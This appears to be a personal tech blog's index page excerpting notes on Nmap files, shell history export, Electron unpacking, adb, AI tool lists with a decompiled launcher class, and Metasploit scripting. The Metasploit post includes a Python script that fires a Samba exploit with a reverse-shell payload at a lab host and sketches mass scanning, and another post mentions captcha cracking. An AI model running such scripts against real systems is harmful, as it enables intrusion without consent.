Autonomous Machines & Society.

2024-04-03
Maximizing Nighttime Activity: Adjustments For Better Sleep

Secret of staying active at night

After a day’s work you first need to rest in bed as comfortably as possible by adjusting your body gradually for a short period of time, making sure your butt is not under pressure, ahead of anything else like taking shower, and remember not to fall asleep yet. After that get off the bed and resume your operation.

Similarly, you do not find a way to stay active in the midday but rather to sleep somewhere and laying on the mattress above ground is the best option. Remember to set alarm in case of sleeping overtime.

Read More

2024-04-03
Nmap Service Resolution

There are two files we are interested in.

  • nmap-services: a list of well known services by port

  • nmap-service-probes: matching rules for detecting service by response

The default service to port mapping in Python socket module is incomplete.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# find that with mlocate
# file_path = '/usr/share/nmap/nmap-services'
file_path = "./nmap-services"
with open(file_path, 'r') as f:
line_list = f.read().split('\n')
for line in line_list:
if line.startswith("#"):
# it is a comment
continue
else:
# process this line
content = line.split('#')[0].strip() # strip away comments
components = content.split(" ")
# must be three.
assert len(components) == 3, f"abnormal component count for content: '{content}'"

Read More

2024-03-31
Mediacrawler

easyspider

Mediacrawler utilizes browser side javascript execution to circumvent encryption algorithms and issues valid requests.

可以爬取的内容: 小红书笔记 | 评论爬虫、抖音视频 | 评论爬虫、快手视频 | 评论爬虫、B 站视频 | 评论爬虫、微博帖子 | 评论爬虫

知乎爬虫可以按照类似的逻辑进行编写

极验验证码破解

Read More

2024-03-31
解压Electron Asar文件注意

解压asar的时候 注意不要移动app.asar的位置 解压完毕之后再移动

1
2
3
4
5
6
# to prevent 'unable to find xxx in app.asar.unpacked' issue, do not move app.asar yet.
asar e app.asar app
mkdir asar
cp app.asar asar
rm app.asar

Read More

2024-03-31
Export Repl Command History To Script File

xonsh has rich history per session which includes session id, command exit code, timestamp, environment variables etc.

1
2
3
4
5
6
7
# view input history
history
# view history file save path
history file
# commit history to file
history flush

To view the commands:

1
2
cat <history_json_file> | jq .data.cmds


general purpose terminal recorder, available in most *nix platforms:

1
2
script <record_filename>

to render the recorded file as plain text, run the following python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pyte
typescript_path = "mytypescript.log"
output_path = "typescript_plain.log"
# Specify the desired screen dimensions (columns x rows)
columns = 80 # please remember the columns for godsake.
# if you think it would be slow, use pypy instead.
rows = 100000 # what could go wrong now?
# Create a Screen object with the specified dimensions
screen = pyte.Screen(columns, rows)
# Create a ByteStream to handle ANSI control codes
stream = pyte.ByteStream(screen)
typescript_bytes = open(typescript_path,'rb').read()
# Insert ANSI control codes
stream.feed(typescript_bytes)
# Get the content with ANSI control codes
content = screen.display
plain_content ="\n".join(content).strip()
# Write the content to a file
with open(output_path, "w+") as file:
file.write(plain_content)


for ipython one use %history for viewing history.

1
2
3
4
5
6
7
8
9
10
11
12
13
# view current session history
%history
# write to file
%history -f ipython_output.log
# view all history across all sessions
%history -g
# view specific session history, like session 1
%history 1/
# -o for showing output, -p for appending ">>>" in front of input lines, -t for translating magic functions into valid python code
%history -opt
# for more, type the %quickref command and type /hist<Enter>
# detailed reference can be found in %magic


terminal jupyter notebook


运行py的交互式命令行 如果想输出最近的操作 可以运行下面的代码

1
2
3
4
5
6
7
8
9
10
11
# please define "history_output_path" beforehand
import readline
# Get the total number of history items in the current session
history_length = readline.get_current_history_length()
# Iterate over each history item and print the command
with open(history_output_path, 'w+') as f:
for i in range(1, history_length + 1):
item = readline.get_history_item(i)
print(item)
f.write(item+"\n")

在pdb中 或者在breakpoint断点中 只能获取到当前会话的历史

1
2
import readline; print([readline.get_history_item(i+1) for i in range(readline.get_current_history_length())])


Hackers are good at converting arbitrary actions into scripts.

At every step below we need file records.

1
2
Thoughs -> Actions -> Scripts -> Programs -> Systems

Human learn from trial and error, which is the origin of every good program, and REPL can be a better place than web based jupyter notebook. So we might want to find some command line alternative to jupyter.

Typically we need history, command output, filter out those errorneous commands, and save the output.


R has that functionality.

1
2
3
4
5
# only current session history is keeped.
saveHistory("history.R")
# view history in popup
history()


metasploit history file location: ~/.msf4/history

Read More

2024-03-31
Metasploit Scripting And More

you typically need to do this before importing useful metasploit ruby libraries:

1
2
3
4
5
$LOAD_PATH.push('./lib')
require 'rex'
require 'msf'
require 'msfenv'

the way metasploit loads resource script:

1
2
3
4
5
6
7
8
9
# file: lib/msf/base/sessions/command_shell.rb
def execute_file(full_path, args)
if File.extname(full_path) == '.rb'
Rex::Script::Shell.new(self, full_path).run(args)
else
load_resource(full_path) # usually *.rc files
end
end

the Shell.new:

1
2
3
4
5
6
7
8
9
10
11
12
13
# lib/rex/shell/base.rb
def run(args=[])
self.args = args = args.flatten
begin
eval(::File.read(self.path, ::File.size(self.path)), binding )
rescue ::Interrupt
rescue ::Rex::Script::Completed
rescue ::Exception => e
self.error = e
raise e
end
end

the load_resource:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# file: lib/rex/ui/text/resource.rb
# -*- coding: binary -*-
require 'erb'
module Rex
module Ui
module Text
module Resource
# Processes a resource script file for the console.
#
# @param path [String] Path to a resource file to run
# @return [void]
def load_resource(path)
if path == '-'
resource_file = $stdin.read
path = 'stdin'
elsif ::File.exist?(path)
resource_file = ::File.read(path)
else
print_error("Cannot find resource script: #{path}")
return
end
# Process ERB directives first
print_status "Processing #{path} for ERB directives."
erb = ERB.new(resource_file)
processed_resource = erb.result(binding)
lines = processed_resource.each_line.to_a
bindings = {}
while lines.length > 0
line = lines.shift
break if not line
line.strip!
next if line.length == 0
next if line =~ /^#/
# Pretty soon, this is going to need an XML parser :)
# TODO: case matters for the tag and for binding names
if line =~ /<ruby/
if line =~ /\s+binding=(?:'(\w+)'|"(\w+)")(>|\s+)/
bin = ($~[1] || $~[2])
bindings[bin] = binding unless bindings.has_key? bin
bin = bindings[bin]
else
bin = binding
end
buff = ''
while lines.length > 0
line = lines.shift
break if not line
break if line =~ /<\/ruby>/
buff << line
end
if ! buff.empty?
print_status("resource (#{path})> Ruby Code (#{buff.length} bytes)")
begin
eval(buff, bin)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("resource (#{path})> Ruby Error: #{e.class} #{e} #{e.backtrace}")
end
end
else
print_line("resource (#{path})> #{line}")
run_single(line)
end
end
end
end
end
end
end


vulnerability scanners:

https://dradis.com/ce/

nessus

nexpose

openvas


metasploit-framework is a ruby gem.


https://www.infosecmatter.com/metasploit-module-library/

https://rubyfu.net/module-0x5-or-exploitation-kung-fu/metasploit/auxiliary-module


mad-metasploit custom metasploit scripts


metasploit unleashed

official metasploit documentation


metasploit has enabled ssl by default. http will not work.

install package:

1
2
pip3 install pymetasploit3

launch metasploit background rpc service:

1
2
3
4
5
6
7
# get help
msfrpcd -h
# start background service
msfrpcd -P lazero
# or if you want foreground service
msfrpcd -P lazero -f

run script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pymetasploit3.msfrpc import MsfRpcClient
import os
PWD = "lazero"
custom_module_path = "custom_msf_module"
assert os.path.exists(custom_module_path), (
"Custom module path not found at: '%s'" % custom_module_path
)
# write custom python modules with:
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
client = MsfRpcClient(
password=PWD, ssl=True
) # requires ssl by default. otherwise won't work
# the module structure must be identical to the one at , otherwise it will not load.
client.core.addmodulepath(os.path.abspath(custom_module_path))
exploit_id = "multi/samba/usermap_script"
exp_mod = client.modules.use("exploit", exploit_id)
RHOST = "172.16.194.172"
LHOST = "172.16.194.163"
exp_mod.runoptions["RHOST"] = RHOST # this host is not running.
exp_mod.runoptions["PAYLOAD"] = "cmd/unix/reverse"
exp_mod.runoptions["LHOST"] = LHOST
msf_console = (
client.consoles.console()
) # you can manually read/write instead of using below method.
# timeout: 301 seconds.
exploit_run_output = msf_console.run_module_with_output(exp_mod) # str
print(exploit_run_output) # now have output. but still it is not streaming.
# you may want to overwrite the original implementation. the data is actually produced step by step.
run_output_file = "samba_usermap_script_output.log"
with open(run_output_file, "w+") as f:
f.write(exploit_run_output)
print("[metasploit]", "output file saved at:", run_output_file)
# thank you very much.


To do mass scanning, first we need to obtain the default RPORT for each exploit.

1
2
3
4
5
6
7
8
module_types = ['exploits','auxiliary', "encoders", "nops", "payloads", 'post']
for mt_plural in module_types:
module_type = mt_plural.rstrip('s')
for name in all_module_names:
mod = client.modules.use(module_type, name)
# get default RPORT
default_rport = mod.runoptions.get("RPORT", None)

Read More

2024-03-31
Android控制注意事项

长时间不开机的机器可能会发生时间错位问题 需要用adb进行时间校准

1
2
3
adb shell date "YYYY-MM-DD HH:MM:SS"
# sometimes you have to use '-s' flag

把所有闹钟都关闭 防止关了机又打开 或者在脚本操作控制的时候出问题


建议使用云手机平台(搜索:开源云手机),虚拟手机,方便进行环境打包和重新部署。

redroid supports adb connection, and is a docker image

redroid-doc and redroid tutorial

lamda is a multi-source (simulator and real device support) android controlling, network capturing and reverse engineering platform

lamda wiki


如果adb出现连接问题,可以重启adb服务

usb硬件出问题一般是因为供电不足,或者连接线接触不良。所以可以加强供电,以及更换更好的连接线。

1
2
3
adb kill-server
adb start-server

Read More

2024-03-31
Ai工具箱

AI工具箱 (EZ-AI-Starter):

https://www.123pan.com/s/oY9eVv-IsFnh.html pwd:1111

compiled with .net and obfusticated with pyarmor

containing:

1
2
3
4
5
6
My-VITS
SadTalker
stable-diffusion-webui
wav2lip
RVC

code for decoding encrypted environment files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
// Decompiled with JetBrains decompiler
// Type: common.PyEnvUtil
// Assembly: common, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F9EBC4D1-A1AC-4DC9-BFE0-2B1E74C84F97
// Assembly location: G:\works\extract-ez-ai-tool-info\EZ-AI-Starter-1.0\launcher\common.dll
using common.entity;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Threading;
#nullable enable
namespace common
{
public class PyEnvUtil
{
private static void compareZipAndReplace(string srcZip, string targetZip)
{
bool flag;
if (!File.Exists(targetZip))
{
flag = true;
}
else
{
if (!File.Exists(srcZip))
throw new Exception(srcZip + " not found.");
flag = !Util.getFileHash(srcZip).Equals(Util.getFileHash(targetZip));
}
if (!flag)
return;
File.Copy(srcZip, targetZip, true);
Util.unZip(targetZip, Path.Combine(Path.GetDirectoryName(targetZip), Path.GetFileNameWithoutExtension(targetZip)), (Action<string>) null, false, isJoin: true);
}
private static bool detectVCInstalled()
{
ProcessStartInfo startInfo = new ProcessStartInfo()
{
FileName = GlobalVariable.assemblyDir + "\\vswhere.exe",
Arguments = " -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath",
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
};
if (!File.Exists(startInfo.FileName))
{
Console.WriteLine("error: vswhere not found!");
return false;
}
Process process = Process.Start(startInfo);
if (process == null)
return false;
process.WaitForExit();
string end = ((TextReader) process.StandardOutput).ReadToEnd();
if (end == null)
return false;
string[] strArray = end.Trim().Split(new string[1]
{
Environment.NewLine
}, StringSplitOptions.RemoveEmptyEntries);
return strArray != null && strArray.Length != 0 && Directory.Exists(strArray[0]);
}
private static bool installVC()
{
Console.WriteLine("Visual Studio Installer安装中...");
string str = GlobalVariable.assemblyDir + "\\vc.vsconfig";
ProcessStartInfo startInfo = new ProcessStartInfo()
{
FileName = GlobalVariable.assemblyDir + "\\vs_BuildTools.exe",
Arguments = " --passive --norestart --config \"" + str + "\"",
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
};
if (!File.Exists(str))
{
Console.WriteLine("error: vc.vsconfig not found!");
return false;
}
if (!File.Exists(startInfo.FileName))
{
Console.WriteLine("error: vs_BuildTools not found!");
return false;
}
Process process = Process.Start(startInfo);
if (process != null)
{
process.WaitForExit();
Thread.Sleep(10000);
while (true)
{
Process[] array = ((IEnumerable<Process>) Process.GetProcessesByName("setup")).Where<Process>((Func<Process, bool>) (p => p.MainWindowTitle == "Visual Studio Installer" || p.GetMainModuleFileName().Contains("Visual Studio\\Installer"))).ToArray<Process>();
if (array != null && array.Length != 0)
Thread.Sleep(500);
else
break;
}
if (!PyEnvUtil.detectVCInstalled())
{
Console.WriteLine("Visual Studio Installer安装失败,极有可能是网络波动造成的。务必关闭梯子、加速器等软件,然后关闭本窗口后再重装环境!");
return false;
}
Console.WriteLine("Visual Studio Installer安装成功!");
return true;
}
Console.WriteLine("error:vs_BuildTools启动失败,请退出后重试!");
return false;
}
private static bool prepareEnv()
{
bool flag = true;
PyEnvUtil.compareZipAndReplace(Path.Combine(GlobalVariable.customPythonLibPath, "pdm.zip"), Path.Combine(GlobalVariable.commonPythonHome, "Lib\\site-packages\\pdm.zip"));
PyEnvUtil.compareZipAndReplace(Path.Combine(GlobalVariable.customPythonLibPath, "pyarmor_runtime_000000.zip"), Path.Combine(GlobalVariable.commonPythonHome, "Lib\\pyarmor_runtime_000000.zip"));
if (!PyEnvUtil.detectVCInstalled())
flag = PyEnvUtil.installVC();
return flag;
}
public static void installPythonEnvByConsole(Application app, out Process pdmInstallProcess_)
{
pdmInstallProcess_ = (Process) null;
if (!PyEnvUtil.prepareEnv())
return;
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("重要提示:如果你的windows用户名是中文或者含有特殊符号,安装环境会失败!会出现这样的错误: 'gbk' codec can't decode byte...");
Console.WriteLine(" 这时,你要修改你的用户名为英文字母,或者重新创建一个只有英文字母的管理员账户(推荐做法),使用这个用户进入系统,就能解决这个问题了!");
Console.ResetColor();
Process pdmInstallProcess = (Process) null;
string pythonEnvName = app.getPythonEnvName();
string str = Path.Combine(GlobalVariable.appEnvBasePath, pythonEnvName);
Directory.CreateDirectory(str);
PythonEnvInfo pythonEnvInfo = app.getPythonEnvInfo();
string absFilePath1 = Path.Combine(GlobalVariable.envInfoDir, pythonEnvInfo.pdmEnvFilePrefix + ".lock.s");
string absFilePath2 = Path.Combine(GlobalVariable.envInfoDir, pythonEnvInfo.pdmEnvFilePrefix + ".toml.s");
string decryptedPdmLockFile = Path.GetTempFileName();
string decryptedPdmPyprojectFile = Path.GetTempFileName();
Util.writeToFile(Util.readEncryptedFileContent(absFilePath1), decryptedPdmLockFile);
Util.writeToFile(Util.readEncryptedFileContent(absFilePath2), decryptedPdmPyprojectFile);
string content = Path.Combine(GlobalVariable.commonPythonHome, "python.exe");
string pythonInterpreterPathFile = Path.Combine(str, ".pdm-python");
string absFilePath3 = pythonInterpreterPathFile;
Util.writeToFile(content, absFilePath3);
string pdmTempConfigFilePath = Path.GetTempFileName();
Util.writeToFile(GlobalVariable.pdmConfigFileContent, pdmTempConfigFilePath);
Action action = (Action) (() =>
{
if (File.Exists(decryptedPdmLockFile))
File.Delete(decryptedPdmLockFile);
if (File.Exists(decryptedPdmPyprojectFile))
File.Delete(decryptedPdmPyprojectFile);
if (File.Exists(pythonInterpreterPathFile))
File.Delete(pythonInterpreterPathFile);
if (File.Exists(pdmTempConfigFilePath))
File.Delete(pdmTempConfigFilePath);
if (pdmInstallProcess == null || pdmInstallProcess.HasExited)
return;
pdmInstallProcess.Kill();
});
try
{
ProcessStartInfo processStartInfo = new ProcessStartInfo()
{
FileName = Path.Combine(GlobalVariable.commonPythonHome, "python.exe"),
Arguments = " -m pdm sync",
CreateNoWindow = false,
UseShellExecute = false,
WorkingDirectory = str
};
processStartInfo.EnvironmentVariables["PDM_ENTRY_CHECK"] = "PDM_ENTRY_CHECK";
processStartInfo.EnvironmentVariables["PDM_CONFIG_FILE"] = pdmTempConfigFilePath;
processStartInfo.EnvironmentVariables["PDM_LOCKFILE"] = decryptedPdmLockFile;
processStartInfo.EnvironmentVariables["PDM_PYPROJECT_FILE"] = decryptedPdmPyprojectFile;
processStartInfo.EnvironmentVariables["PDM_ARIA2"] = Path.Combine(GlobalVariable.assemblyDir, "dlib");
processStartInfo.EnvironmentVariables["PDM_DELETE_ALL_PTH"] = "111";
pdmInstallProcess = new Process()
{
StartInfo = processStartInfo
};
pdmInstallProcess_ = pdmInstallProcess;
pdmInstallProcess.Start();
pdmInstallProcess.WaitForExit();
Util.writeToFile(app.getPythonEnvInfo().version.ToString(), Path.Combine(str, "env.version"));
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
finally
{
action();
}
}
public static Process startEnvInstallProcess(Application app)
{
return Process.Start(new ProcessStartInfo()
{
FileName = Path.Combine(GlobalVariable.assemblyDir, "envInstall.exe"),
Arguments = app.moduleDir + "|" + GlobalVariable.userSettings[GlobalVariable.globalKey]["GPUPlatform"],
UseShellExecute = false,
CreateNoWindow = false
});
}
}
}


悟空工具箱;

www.5kcrm.com/ai

Video Retalking 让视频中的人物的嘴型与输入的声音同步

OpenVoice 一种多语言即时语音克隆工具

WebGLM 是一个百亿参数的通用语言模型(GLM),提供一种高效且低成本的网络增强问答系统。它通过将网络搜索和召回功能,集成到预训练的语言模型中,以进行实际应用的部署。

DragGAN 是由Max Planck研究所开发的一种新的人工智能工具,它允许用户通过几个点击和拖动来真实地修改照片。根据一篇研究文章,它提供了两个主要组成部分:基于特征的运动监督和一种革命性的点追踪技术。

VisualGLM 能够整合视觉和语言信息。可以用来理解图片,解析图片内容。


设计师的AI工具箱 UID:290745620

AI 3D建模 动作生成


allAI 工具箱:

https://github.com/OceanNg529/allAI

包含视频抠图

漫画翻译软件 可以翻译不同的排版 保持文字方向 原地址

MMD 视频字幕提取翻译

为了加速下载 作者把链接都放到了gitee上面 可以在那里找到最新的ai工具

moondream2 一个强大且能在任何地方运行的小型视觉语言模型

differential-diffusion-ui Differential Diffusion 根据文本提示修改图像,并根据指定每个区域的变化量的地图

supir 基于大规模扩散的高保真通用图像恢复模型,SupIR能够根据文本提示进行智能修复,提高图像修复的质量和智能程度。

TripoSR 用于从单个图像快速前馈 3D 重建,由 Tripo AI 和 Stability AI 合作开发

dust3r 从任意图像集合中重建3D场景的框架

Lobe Chat 一个开源的,现代设计的ChatGPT/LLMs UI/框架。 支持语音合成,多模态和可扩展 (函数调用)插件系统。

Chatbot-Ollama 开源聊天UI为Ollama

remove-video-bg 视频背景删除工具

MeloTTS 高质量的多语言文本到语音库 MyShell.ai。支持英语、西班牙语、法语、中文、 日语和韩语

gligen 控件中使用ComfyUI的GLIGEN的直观GUI后端

FaceFusion 2.3.0 下一代换脸器和增强器

Stable Cascade 来自StabilityAI的稳定级联

Bark Voice Cloning 上传一个干净的20秒WAV文件的声音人物,你想模仿,输入你的文本到语音提示,并点击提交!

BRIA RMBG 由 BRIA.AI 开发的背景去除模型,在精心挑选的数据集上进行训练,可作为非商业用途的开源模型

ComfyUI 稳定扩散和稳定视频扩散 GUI

Stable Diffusion web UI 一键启动 Stable Diffusion web UI版

Stable Diffusion Forge Stable Diffusion WebUI Forge 基于 Stable Diffusion WebUI (based on Gradio) 制作开发更容易,资源管理优化,并且加速推理。

InstantID 最先进的无调音方法实现 仅使用单张图像生成ID-Preserving; 支持各种下游任务。

PhotoMaker 通过堆叠ID定制逼真的人体照片嵌入

vid2pose 视频打开 DWPose

Moore-AnimateAnyone-Mini [NVIDIA ONLY] 高效实现任何人物动画 (13G VRAM + 2G model size)

Moore-AnimateAnyone [NVIDIA GPU ONLY] 非官方实施人物动画

IP-Adapter-FaceID 输入人脸图像并将其转换为任何其他图像。适配器faceid模型的演示

StreamDiffusion [NVIDIA ONLY] 实时交互生成的管道级解决方案

Fooocus 迷你版 Stable Diffusion UI

RVC 基于检索的语音转换


老麦的工具库 UID:486989780

Read More

2024-03-30
Hacker Virtual Machines, Containers

on termux you use proot-distro for installing kali and blackarch linux.

install via apt install proot-distro


use podman over docker, since we do not need gpu here, and want faster pulling speed.

recent version of podman requires extra layer of domain/index specification before searching and pulling images.

1
2
3
podman search docker.io/kali
podman pull docker.io/kalilinux/kali-rolling


if you want to run network scanning commands like nmap, you would grant the container sufficient permissions:

1
2
podman run --cap-add=NET_RAW --cap-add=NET_ADMIN --rm -it docker.io/parrotsec/security


metasploitable2, parrot linux also have docker images. more cybersecurity/ctf related images to be found.

run this query in search engines:

1
2
site:github.com cybersecurity docker images

https://github.com/VaultSEC/osint

https://github.com/PberAcademy/Dockerimages


on ubuntu you use docker for pulling kali and blackarch linux images. latest images are pushed to docker hub.

1
2
3
4
5
sudo docker pull kalilinux/kali-rolling
# kali-rolling does not contain all packages
# run inside container: apt update && apt install -y kali-linux-headless
sudo docker pull blackarchlinux/blackarch


it is always recommend to update and upgrade the blackarch you installed.

Read More

2024-03-25
Use Tesla Gpu In Wddm Mode On Windows

On Linux there is no difference between WDDM and TCC.

On Windows, all Tesla GPUs operate at TCC mode, which cannot utilize functions like DirectML, Vulkan etc.

To enable WDDM mode, you need to change the registry.

The path: Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Class\{4d36e968-e325-11ce-bfc1-08002be10318}

Find the Tesla card within 000x, change AdapterType to 1, FeatureScore to 0xd1, create DWORD GridLicensedFeatures to 7, create DWORD EnableMsHybrid to 1.

Find the iGPU within 000x, create DWORD EnableMsHybrid to 2.

Restart the computer. When you see the Tesla GPU popping up in Task manager you are all set.

Run:

1
2
nvidia-smi -g 0 -dm 0

Make sure to select the right GPU when using Vulkan.

Read More